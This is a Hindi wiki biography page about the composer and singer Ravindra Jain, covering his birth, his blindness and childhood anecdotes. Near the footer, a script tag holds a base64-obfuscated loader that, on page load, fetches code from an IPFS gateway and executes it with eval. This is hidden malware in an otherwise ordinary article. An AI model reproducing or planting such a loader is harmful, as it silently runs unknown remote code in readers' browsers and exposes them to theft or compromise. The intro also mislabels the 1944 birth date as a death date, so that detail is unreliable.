रवीन्द्र जैन

भारत डिस्कवरी प्रस्तुति
Revision as of 11:16, 10 October 2015 by रविन्द्र प्रसाद (talk | contribs) (''''रवीन्द्र जैन''' (अंग्रेज़ी: ''Ravindra Jain'' , जन्म- ; मृत्यु- 2...' के साथ नया पृष्ठ बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

रवीन्द्र जैन (अंग्रेज़ी: Ravindra Jain , जन्म- ; मृत्यु- 28 फ़रवरी, 1944, अलीगढ़, उत्तर प्रदेश; मृत्यु- 9 अक्टूबर, 2015, मुम्बई, महाराष्ट्र) भारतीय हिन्दी सिनेमा के प्रसिद्ध संगीतकार तथा गायक थे। मुख्यत: उन्हें भजन गायक के रूप में ख्याति मिली थी। रवीन्द्र जैन हिन्दी सिनेमा के ऐसे संगीतकार थे, जिन्होंने मन की आँखों से दुनिया को समझा। सरगम के सात सुरों के माध्यम से उन्होंने जितना समाज से पाया, उससे कई गुना अधिक अपने श्रोताओं को लौटाया। वे मधुर धुनों के सर्जक होने के साथ बेहतरीन गायक भी रहे और अधिकांश गीतों की आशु रचना भी उन्होंने करके सबको चौंकाया। मन्ना डे के दृष्टिहीन चाचा कृष्णचन्द्र डे के बाद रवीन्द्र जैन दूसरे व्यक्ति थे, जिन्होंने दृश्य-श्रव्य माध्यम में केवल श्रव्य के सहारे ऐसा इतिहास रचा, जो युवा-पीढ़ी के लिए अनुकरणीय बन गया।

परिचय

प्रख्यात संगीतकार तथा गायक रवीन्द्र जैन का जन्म 28 फ़रवरी, सन 1944 में उत्तर प्रदेश राज्य के अलीगढ़ शहर में हुआ था। उनके पिता का नाम पंडित इन्द्रमणि जैन तथा माता किरणदेवी जैन थीं। अपने सात भाइयों तथा एक बहन में रवीन्द्र जैन का क्रम चौथा था। जन्म से उनकी आँखें बंद थीं, जिसे पिता के मित्र डॉ. मोहनलाल ने सर्जरी से खोला। साथ ही यह भी कहा कि बालक की आँखों में रोशनी है, जो धीरे-धीरे बढ़ सकती है, लेकिन इसे कोई काम ऐसा मत करने देना, जिससे आँखों पर जोर पड़े।[1]

एक भजन, एक रुपया

रवीन्द्र जैन के पिता ने डॉक्टर की नसीहत को ध्यान में रखकर संगीत की राह चुनी, जिसमें आँखों का कम उपयोग होता है। रवीन्द्र ने अपने पिता तथा भाई की आज्ञा शिरोधार्य कर मन की आँखों से सब कुछ जानने-समझने की सफल कोशिश की। बड़े भाई से आग्रह कर अनेक उपन्यास सुने। कविताओं के भावार्थ समझे। धार्मिक-ग्रंथों तथा इतिहास-पुरुषों की जीवनियों से जीवन का मर्म समझा। वे बचपन से इतने कुशाग्र बुद्धि के थे कि एक बार सुनी गई बात को कंठस्थ कर लेते, जो हमेशा उन्हें याद रहती। परिवार के धर्म, दर्शन और अध्यात्ममय माहौल में उनका बचपन बीता। वे प्रतिदिन मंदिर जाते और वहाँ एक भजन गाकर सुनाना उनकी दिनचर्या में शामिल था। बदले में पिताजी एक भजन गाने पर एक रुपया इनाम भी दिया करते थे।

शरारतें

रवीन्द्र जैन भले ही दृष्टिहीन रहे हों, मगर उन्होंने बचपन में खूब शरारतें कीं। परिवार का नियम था कि सूरज ढलने से पहले घर में कदम रखो और भोजन करो। रवीन्द्र ने इस नियम का कभी पालन नहीं किया। रोज देर रात को घर आते। पिताजी के डंडे से माँ बचाती। उनके कमरे में पलंग के नीचे खाना छिपाकर रख देतीं ताकि बालक भूखा न रहे। अपनी दोस्त मंडली के साथ रवीन्द्र गाने-बजाने की टोली बनाकर अलीगढ़ के रेलवे स्टेशन के आसपास मँडराया करते थे। उनके दोस्त के पास टिन का छोटा डिब्बा था, जिस पर थाप लगाकर वे गाते और हर आने-जाने वाले का मनोरंजन करते। एक दिन न जाने क्या सूझी कि डिब्बे को सीधा कर दिया। उसका खुला मुँह देख श्रोता उसमें पैसे डालने लगे। चिल्लर से डिब्बा भर गया। घर आकर उन्होंने माँ के चरणों में चिल्लर उड़ेल दी। पिताजी ने यह देखा तो गुस्से से लाल-पीले हो गए और सारा पैसा देने वालों को लौटाने का आदेश दिया। अब परेशानी यह आई कि अजनबी लोगों को खोजकर पैसा कैसे वापस किया जाए? दोस्तों ने योजना बनाई कि चाट की दुकान पर जाकर चाट-पकौड़ी जमकर खाई जाए और मजा लिया जाए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. रवींद्र जैन- गीत गाता चल ओ साथी (हिन्दी) वेबदुनिया। अभिगमन तिथि: 10 अक्टूबर, 2015।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः